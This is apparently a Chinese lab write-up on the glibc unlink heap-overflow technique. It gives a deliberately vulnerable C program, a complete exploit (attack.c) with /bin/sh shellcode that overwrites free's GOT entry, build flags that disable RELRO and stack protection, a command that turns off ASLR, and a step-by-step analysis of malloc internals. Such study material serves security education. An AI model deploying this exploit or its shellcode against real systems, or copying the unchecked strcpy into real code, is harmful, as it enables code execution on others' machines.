PWN之堆利用-unlink攻击

一、 环境配置

笔者使用ubuntu14.04.6_desktop_i386
国内镜像网站如下:
http://mirrors.aliyun.com/ubuntu-releases/14.04/
glibc版本2.20

二、ulink攻击

准备工作:

有漏洞的代码vuln.c

/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
        char * first, * second;
/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

攻击代码attack.c

/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>
#define FUNCTION_POINTER ( 0x0804978c )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x0804a008 + 0x10 )      //Address of variable 'first' in vuln executable. 
#define VULNERABLE "./vuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1
char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
		/* eb 0a means jmp 10 bytes to next instruction. */ 
        "\xeb\x0assppppffff"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };
        p = argv1;
        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* Copy the shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
        would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* the terminating NUL character */
        *p = '';
        /* the execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}

1、在/home/vagrant解压glibc-2.20-lwm.tgz
2、建立一个目录,例如:/home/vagrant/glibc-build,进入这个目录后编译glibc源码

>> ../glibc-2.20/configure --prefix=/home/vagrant/glibc-build/
>> make && make install

3、编译vuln.c,

>> gcc -g -z norelro -z execstack -o vuln vuln.c
-Wl,--rpath=/home/vagrant/glibc-build/lib
-Wl,--dynamic-linker=/home/vagrant/glibc-build/lib/ld-linux.so.2

4、使用ldd命令, 可以看到libc.so.6链接到了刚才编译的libc库

>>ldd vuln
linux-gate.so.1 => (0xb77a5000)
libc.so.6 => /home/vagrant/glibc-build/lib/libc.so.6 (0xb7604000)
/home/vagrant/glibc-build/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0xb77a6000)

5、用普通方式编译attack.c,同样使用ldd查看

>>gcc -o attack attack.c
>>ldd attack
linux-gate.so.1 => (0xb7737000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757c000)
/lib/ld-linux.so.2 (0xb7738000)

6、关闭系统随机化

>>echo 0 | sudo tee -a /proc/sys/kernel/randomize_va_space

7、执行attack可以看到出现了一个可利用的shell

三、回答问题理解unlink原理

1、attack.c中680这个数值怎么来的?在分配的内存中覆盖了哪些范围,请画图说明

1、在vuln.c中说要first chunk的数据部分大小为666B,因为first chunk可以复用 second chunk的pre_size字段(4B)填充数据,所以实际first chunk的数据大小只需要662B(666-4)

2、又因为chunk以8B对齐,所以first chunk的数据部分大小需要是8字节的倍数,将662B加上2B满足要求,即664B.

3、因为攻击需要覆盖到second chunk的fd 和bk指针从而达到“在指定地址写入指定值”的攻击,进而覆盖free函数地址为shellcode地址,所以需要再向后溢出,来覆盖second chunk的 pre_size,size,fd,bk,即在原有first chunk的基础上再多写16B(4×4B)。

4、综合2,3知道要总共要写入680B(664B+16B)的数据,内存覆盖范围如下图:
PWN之堆利用-unlink攻击


2、attack.c中覆盖第二个chunk的元数据fd指针,为什么要FUNCTION_POINTER-12
为了覆盖free函数为shellcode地址,当下次调用free函数时会执行shellcode.

分析:
1、当free(first)时,因为检测到second chunk也是空闲的,所以会发生向前合并的操作,不仅会unlink了第一个chunk,第二个chunk也unlink了。

2、如下图unlink函数的代码,可以看到当unlink第二个chunk时对fd和bk做了如下操作:
PWN之堆利用-unlink攻击
3、按照atttack.c的填充方式如下:①其中FUNCTION_POINTER的地址用 readelf -r vuln 可以看到是free函数的地址 ,②CODE_ADDRESS如果调试vuln可以看到是分配的第一块内存的地址+16个字节(meta data),即shellcode的地址。
PWN之堆利用-unlink攻击
4、综合1、2、3知道unlink second chunk时做了如下操作:

1)首先FD= nextchunk->fd = free地址 – 12;
2)然后BK = nextchunk->bk = shellcode起始地址;
3)再将BK赋值给FD->bk,即(free地址 – 12)->bk = shellcode起始地址;
4)最后将FD赋值给BK->fd,即(shellcode起始地址)->fd = free地址 – 12。

如下图:
PWN之堆利用-unlink攻击
①1)2)步中,unlink强制将free addr -12和shellcode addr看作malloc_chunk结构体,当free addr-12对应second chunk的pre size时,可以知道free 函数地址 刚好是(free地址 – 12)->bk(12B代表pre_size,size,fd,4Bx3)

②在第3)步又将shellcode起始地址赋给(free地址 – 12)->bk,相当于shellcode起始地址赋给free 函数地址。


3、shellcode开头是eb0a,表示跳过12个字节,为什么要跳过后面的"ssppppffff" ? 另外请反汇编shellcode解释shellcode的功能
1、为什么跳过后面的"ssppppffff":

①参考上一题分析中的第四点第4)步,因为最后将FD赋值给BK->fd,即(shellcode起始地址)->fd = free地址 – 12,即shellcode + 8位置的4字节数据会被替换为free addr – 12,所以shellcode应该跳过前12个字节。

②"\xeb\x0assppppffff"中eb0a指令加上后面的ssppppffff十个字符正好是12个字节。

2、shellcode的功能为:获得系统shell控制权执行shell.

分析①将shellcode转换为汇编代码:

使用ollydebug反汇编shellcode代码的得到汇编代码如下:
PWN之堆利用-unlink攻击
②分析功能:shellcode建立了一个栈,其中push的参数很常见,0x68732F2F和0x6E69622F合起来是字符串参数“/bin/sh”;把基地址eax=0x0推到栈中;把返回地址ebx推到栈中;mov ecx,esp保存栈指针的地址;

进行80号调用,因为al=0xB(10进制为11),表示syscall表中的11号索引值代表execve()。综上此shellcode调用了execve(),参数为/bin/sh,即获取系统的shell权限执行shell.


4、vuln.c中分配的666字节和12字节的chunk,实际分配大小是多大?属于第几个虚拟bin?如果是在64位平台呢?

PWN之堆利用-unlink攻击

32位平台:实际分配大小为672字节,大于512字节,属于large bins。

分析如下:分配666字节中4字节被second chunk的pre_size复用,所以数据部分有662字节,又因为在32位系统中要8字节对齐,所以是664字节,再加上头部的presize和size有8字节,所以一共分配了664+8=672字节。

64位平台:实际分配大小为688字节,属于small bins。

分析如下:分配666字节中8字节被second chunk的pre_size复用,所以数据部分有658字节,又因为在64位系统中要16字节对齐,所以是672字节,再加上头部的presize和size有16字节,所以一共分配了672+16=688字节。


5、glibc2.20源代码中unlink宏去掉了哪些保护措施导致unlink攻击可以成功?解释这些安全措施的含义
查看glibc-2.20的unlink宏的定义,位置在malloc文件夹的malloc.c文件中

添加保护措施的unlink宏定义如下:
PWN之堆利用-unlink攻击
glibc-2.20的unlink宏定义如下:
PWN之堆利用-unlink攻击
可以看到去掉的保护措施如下:
PWN之堆利用-unlink攻击
去掉的保护措施:少了if判断条件,去掉了检测是否是双向链表的判断。

安全措施的含义:检查p与前后的chunk是否构成双向链表,FD是P的下一个chunk,BK是P的前一个chunk。可以知道当安全时,FD->bk表示P的下一个chunk的前一个chunk,一定是P;BK->fd的表示P的前一个chunk的下一个chunk,一定是P。当执行if判断的时候,会检测链表中前一个chunk的fd和后一个chunk的bk是否都指向当前需要unlink的chunk,这样攻击者就无法替换second chunk 的fd与bk(因为这会影响FD和BK),所以FD->bk = BK 与 BK->fd = FD不会执行,从而使unlink攻击失败。


6、vuln.c中第一次调用free的时候是什么情况下进行chunk的consolidation的?依据glibc源代码进行分析,给出分析过程
在第一次调用free函数的时候检测到second chunk也是空闲的,会进行chunk的consolidation。

分析过程如下:

1、结合free(first_chunk)的流程图分析流程:

1)判断first chunk是不是fast bin,而first chunk属于large bins(第五题已分析),N

2)判断first chunk的prev-issue:因为first chunk前面没有chunk,默认堆内存中的第一个chunk总是被设置为allocated的,即使它根本就不存在。所以认为前一个chunk是在使用的,Y

3)判断next chunk是不是top chunk:因为下一个chunk是被分配过的second chunk,所以不是 top chunk,N

4)判断second chunk是不是inuse:因为second chunk被恶意覆盖,second chunk会被认为是空闲的,N

5)进行chunk的conlidation(图中橙色部分)

PWN之堆利用-unlink攻击
2、流程4)为什么判断second chunk为空闲:

分析判断为空闲的glibc源代码如下:
PWN之堆利用-unlink攻击
其中(((char *) §) + (s)))表示nextchunk向后移动nextsize,表示next next chunk的位置,可以看到判断next chunk为空闲是根据next netx chunk的P位来判断的。

而在覆盖first chunk时产生溢出将second chunk的值设置为了-4,再+8找到的“next next chunk的size的P位”其实是second chunk的 pre_size的最后一位,即通过inuse_bit_at_offset宏获取到的nextinuse为0,即second chunk为空闲,需要进行consolidaton合并操作。

3、glibc中向前合并(consolidation)的代码分析:

当发生向前合并操作时:
PWN之堆利用-unlink攻击
1)将后一个chunk占用的内存合并到当前chunk;
2)使用unlink宏,将后一个free chunk从双向循环链表中移除。

四、总结

1、unlink攻击是对堆的攻击,如果unlink宏没有任何保护,那么这个漏洞会被利用向任意地址写入任意值,意味着可以修改系统中关键位置,并执行特定的代码,例如shellcode,本例就是执行了系统调用获得shell权限

2、attack.c构建攻击代码,所有的工作都是填充一个缓冲区,然后交给vuln作为参数:
①这个缓冲区长度为680字节,超过了第一个chunk长度,造成堆缓冲区溢出
②堆溢出的目标是修改第二个chunk的元数据(注意:第二个chunk变成了空闲块)
③在第一次调用free的时候,unlink攻击覆盖free函数为shellcode地址
注意:第一次调用free的时候,不仅仅unlink了第一个chunk,由于consolidation,还unlink了第二个chunk,所以在第二次调用free的时候,实际会执行shellcode

3、attack.c如何构造缓冲区
填充 44 个字节
填充shellcode
填充字符‘B’,填充长度为 680-4
4-4*4-strlen(shellcode)
设置第二个标志位为chunk空闲
设置第二个chunk长度为-4(0xfffffffc),trick malloc
修改第二个chunk的fd=free函数地址,FUNCTIONPTR-12
修改第二个chunk的bk=shellcode

上一篇:RHEL 学习笔记02


下一篇:归并排序(C++)